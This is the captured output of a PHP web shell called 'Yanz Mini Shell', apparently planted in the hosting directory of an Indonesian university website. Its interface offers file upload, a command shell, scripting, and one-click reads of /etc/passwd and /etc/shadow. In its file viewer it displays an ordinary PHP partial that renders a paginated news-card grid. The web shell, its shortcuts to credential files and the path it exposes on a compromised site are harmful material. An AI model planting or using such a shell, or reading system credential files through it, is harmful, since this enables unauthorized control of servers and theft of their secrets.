Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // ============================================================= // pages/partials/berita-grid.php // Render info hasil + grid kartu berita + pagination. // Butuh variabel di scope pemanggil: // $beritaData (hasil getBeritaList: rows, total, total_pages, page) // $base_url, $search, $category // ============================================================= $rows = $beritaData['rows']; $total = $beritaData['total']; $total_pages = $beritaData['total_pages']; $page = $beritaData['page']; ?> <!-- Info hasil --> <?php if ($search !== '' || $category !== ''): ?> <p style="margin-bottom: 24px; color: #64748b;"> Menampilkan <?= $total ?> berita <?php if ($search !== ''): ?>untuk pencarian "<strong><?= e($search) ?></strong>"<?php endif; ?> <?php if ($category !== ''): ?>di kategori <strong><?= e($category) ?></strong><?php endif; ?> </p> <?php endif; ?> <!-- Grid Berita --> <?php if (count($rows) > 0): ?> <div style="display: grid; grid-template-columns: repeat(auto-fill, minmax(320px, 1fr)); gap: 28px;"> <?php $delay = 0; foreach ($rows as $row): $image_src = !empty($row['image']) ? $base_url . '/assets/images/news/' . $row['image'] : $base_url . '/assets/images/hero/hero-1.jpg'; ?> <a href="<?= $base_url ?>/pages/detail-berita.php?id=<?= (int)$row['id'] ?>" data-aos="fade-up" data-aos-delay="<?= $delay ?>" style="background:white;border-radius:20px;overflow:hidden; box-shadow:0 10px 30px rgba(0,0,0,0.08);text-decoration:none; color:inherit;display:flex;flex-direction:column; transition:transform 0.3s, box-shadow 0.3s;" onmouseover="this.style.transform='translateY(-6px)';this.style.boxShadow='0 16px 40px rgba(0,0,0,0.12)'" onmouseout="this.style.transform='translateY(0)';this.style.boxShadow='0 10px 30px rgba(0,0,0,0.08)'"> <div style="height:200px;overflow:hidden;background:#f1f5f9;"> <img src="<?= e($image_src) ?>" alt="<?= e($row['title']) ?>" loading="lazy" style="width:100%;height:100%;object-fit:cover;"> </div> <div style="padding:22px;flex:1;display:flex;flex-direction:column;"> <?php if (!empty($row['category'])): ?> <span style="color:#00bfff;font-size:0.72rem;font-weight:700;letter-spacing:1px;margin-bottom:8px;"> <?= e(strtoupper($row['category'])) ?> </span> <?php endif; ?> <h3 style="font-family:'Poppins',sans-serif;font-size:1.15rem;line-height:1.45; margin:6px 0 12px;font-weight:600;color:#0a2b3e;flex:1;"> <?= e($row['title']) ?> </h3> <p style="font-size:0.82rem;color:#64748b;margin-bottom:0;"> <i class="far fa-calendar"></i> <?= tanggalIndo($row['date_posted']) ?> </p> </div> </a> <?php $delay = ($delay + 80) % 320; endforeach; ?> </div> <!-- Pagination --> <?php if ($total_pages > 1): ?> <nav class="berita-pagination" style="margin-top: 48px; display: flex; justify-content: center; gap: 8px; flex-wrap: wrap;" aria-label="Navigasi halaman"> <?php $query_params = ['q' => $search, 'cat' => $category]; $build_url = function($p) use ($query_params) { $qp = array_filter($query_params, function($v) { return $v !== ''; }); $qp['p'] = $p; return '?' . http_build_query($qp); }; ?> <?php if ($page > 1): ?> <a href="<?= e($build_url($page - 1)) ?>" data-page="<?= $page - 1 ?>" class="berita-page-link" style="padding:10px 18px;background:white;border:2px solid #e5e7eb; border-radius:10px;text-decoration:none;color:#0a2b3e;font-weight:600;"> ← Sebelumnya </a> <?php endif; ?> <?php for ($i = max(1, $page - 2); $i <= min($total_pages, $page + 2); $i++): ?> <a href="<?= e($build_url($i)) ?>" data-page="<?= $i ?>" class="berita-page-link" style="padding:10px 18px;background:<?= $i === $page ? '#0a2b3e' : 'white' ?>; color:<?= $i === $page ? 'white' : '#0a2b3e' ?>; border:2px solid <?= $i === $page ? '#0a2b3e' : '#e5e7eb' ?>; border-radius:10px;text-decoration:none;font-weight:600; min-width: 44px; text-align: center;"> <?= $i ?> </a> <?php endfor; ?> <?php if ($page < $total_pages): ?> <a href="<?= e($build_url($page + 1)) ?>" data-page="<?= $page + 1 ?>" class="berita-page-link" style="padding:10px 18px;background:white;border:2px solid #e5e7eb; border-radius:10px;text-decoration:none;color:#0a2b3e;font-weight:600;"> Berikutnya → </a> <?php endif; ?> </nav> <?php endif; ?> <?php else: ?> <div style="text-align: center; padding: 80px 20px; background: white; border-radius: 20px;"> <i class="fas fa-newspaper" style="font-size: 64px; color: #cbd5e1; margin-bottom: 16px;"></i> <h3 style="font-family:'Poppins',sans-serif;color:#0a2b3e;margin-bottom:8px;"> Belum ada berita </h3> <p style="color: #64748b;"> <?= $search !== '' || $category !== '' ? 'Tidak ada hasil yang cocok dengan pencarian Anda.' : 'Berita akan segera ditampilkan di sini.' ?> </p> <?php if ($search !== '' || $category !== ''): ?> <a href="<?= $base_url ?>/pages/berita.php" class="berita-reset-link" style="display:inline-block;margin-top:16px;color:#00bfff;font-weight:600;"> Reset pencarian → </a> <?php endif; ?> </div> <?php endif; ?>
Free Space : 57188864000 Byte